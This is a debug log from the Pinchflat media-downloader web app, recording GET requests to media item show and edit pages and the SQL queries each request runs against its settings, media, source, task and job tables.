18:13:06.817 [debug] QUERY OK source="settings" db=0.0ms idle=218.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:06.817 [info] Sent 200 in 1ms 18:13:07.040 [info] GET /sources/1/media/1563748/edit 18:13:07.040 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563748", "source_id" => "1"} Pipelines: [:browser] 18:13:07.040 [debug] QUERY OK source="media_items" db=0.1ms idle=251.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563748] 18:13:07.041 [debug] QUERY OK source="settings" db=0.0ms idle=224.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.041 [debug] QUERY OK source="settings" db=0.0ms idle=224.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.041 [debug] QUERY OK source="settings" db=0.0ms idle=224.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.042 [info] Sent 200 in 1ms 18:13:07.265 [info] GET /sources/2/media/1563706 18:13:07.265 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563706", "source_id" => "2"} Pipelines: [:browser] 18:13:07.265 [debug] QUERY OK source="media_items" db=0.1ms idle=448.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563706] 18:13:07.266 [debug] QUERY OK source="tasks" db=0.1ms idle=225.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563706] 18:13:07.266 [debug] QUERY OK source="sources" db=0.1ms idle=224.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:13:07.266 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=225.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3746451] 18:13:07.266 [debug] QUERY OK source="settings" db=0.0ms idle=224.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.266 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.267 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.267 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:13:07.268 [info] Sent 200 in 2ms 18:13:07.491 [info] GET /sources/25/media/1563540/edit 18:13:07.491 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563540", "source_id" => "25"} Pipelines: [:browser] 18:13:07.491 [debug] QUERY OK source="media_items" db=0.1ms idle=225.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563540] 18:13:07.492 [debug] QUERY OK source="settings" db=0.0ms idle=225.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.492 [debug] QUERY OK source="settings" db=0.0ms idle=225.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.492 [debug] QUERY OK source="settings" db=0.0ms idle=225.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.493 [info] Sent 200 in 1ms 18:13:07.717 [info] GET /sources/2/media/1563838 18:13:07.717 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563838", "source_id" => "2"} Pipelines: [:browser] 18:13:07.718 [debug] QUERY OK source="media_items" db=0.1ms idle=450.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563838] 18:13:07.718 [debug] QUERY OK source="tasks" db=0.1ms idle=226.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563838] 18:13:07.718 [debug] QUERY OK source="sources" db=0.1ms idle=226.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:13:07.718 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=226.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3767407] 18:13:07.719 [debug] QUERY OK source="settings" db=0.0ms idle=226.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.719 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.719 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.719 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:13:07.720 [info] Sent 200 in 2ms 18:13:07.898 [info] GET /sources/1/media/1562992/edit 18:13:07.899 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562992", "source_id" => "1"} Pipelines: [:browser] 18:13:07.899 [debug] QUERY OK source="media_items" db=0.2ms idle=180.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562992] 18:13:07.900 [debug] QUERY OK source="settings" db=0.1ms idle=180.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.900 [debug] QUERY OK source="settings" db=0.1ms idle=180.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.900 [debug] QUERY OK source="settings" db=0.1ms idle=180.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:07.901 [info] Sent 200 in 2ms 18:13:08.081 [info] GET /sources/25/media/1563530 18:13:08.081 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563530", "source_id" => "25"} Pipelines: [:browser] 18:13:08.082 [debug] QUERY OK source="media_items" db=0.1ms idle=291.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563530] 18:13:08.082 [debug] QUERY OK source="tasks" db=0.0ms idle=182.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563530] 18:13:08.082 [debug] QUERY OK source="sources" db=0.1ms idle=182.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:13:08.082 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=182.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3715632] 18:13:08.082 [debug] QUERY OK source="settings" db=0.0ms idle=181.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.082 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.082 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.083 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:13:08.084 [info] Sent 200 in 2ms 18:13:08.261 [info] GET /sources/1/media/1563705/edit 18:13:08.261 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563705", "source_id" => "1"} Pipelines: [:browser] 18:13:08.261 [debug] QUERY OK source="media_items" db=0.1ms idle=179.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563705] 18:13:08.262 [debug] QUERY OK source="settings" db=0.0ms idle=179.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.262 [debug] QUERY OK source="settings" db=0.0ms idle=179.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.262 [debug] QUERY OK source="settings" db=0.0ms idle=179.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.263 [info] Sent 200 in 1ms 18:13:08.441 [info] GET /sources/1/media/1562986 18:13:08.441 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1562986", "source_id" => "1"} Pipelines: [:browser] 18:13:08.441 [debug] QUERY OK source="media_items" db=0.1ms idle=358.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562986] 18:13:08.442 [debug] QUERY OK source="tasks" db=0.1ms idle=180.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1562986] 18:13:08.442 [debug] QUERY OK source="sources" db=0.2ms idle=179.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:13:08.442 [debug] QUERY OK source="settings" db=0.0ms idle=180.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.442 [debug] QUERY OK source="settings" db=0.0ms idle=180.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.442 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.443 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:13:08.443 [info] Sent 200 in 2ms 18:13:08.623 [info] GET /sources/2/media/1562684 18:13:08.623 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1562684", "source_id" => "2"} Pipelines: [:browser] 18:13:08.623 [debug] QUERY OK source="media_items" db=0.1ms idle=181.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562684] 18:13:08.623 [debug] QUERY OK source="tasks" db=0.0ms idle=181.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1562684] 18:13:08.623 [debug] QUERY OK source="sources" db=0.1ms idle=181.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:13:08.624 [debug] QUERY OK source="settings" db=0.0ms idle=181.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.624 [debug] QUERY OK source="settings" db=0.0ms idle=180.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.624 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.624 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:13:08.625 [info] Sent 200 in 2ms 18:13:08.803 [info] GET /sources/2/media/1563024 18:13:08.803 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563024", "source_id" => "2"} Pipelines: [:browser] 18:13:08.804 [debug] QUERY OK source="media_items" db=0.0ms idle=179.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563024] 18:13:08.804 [debug] QUERY OK source="tasks" db=0.0ms idle=180.0ms SELECT 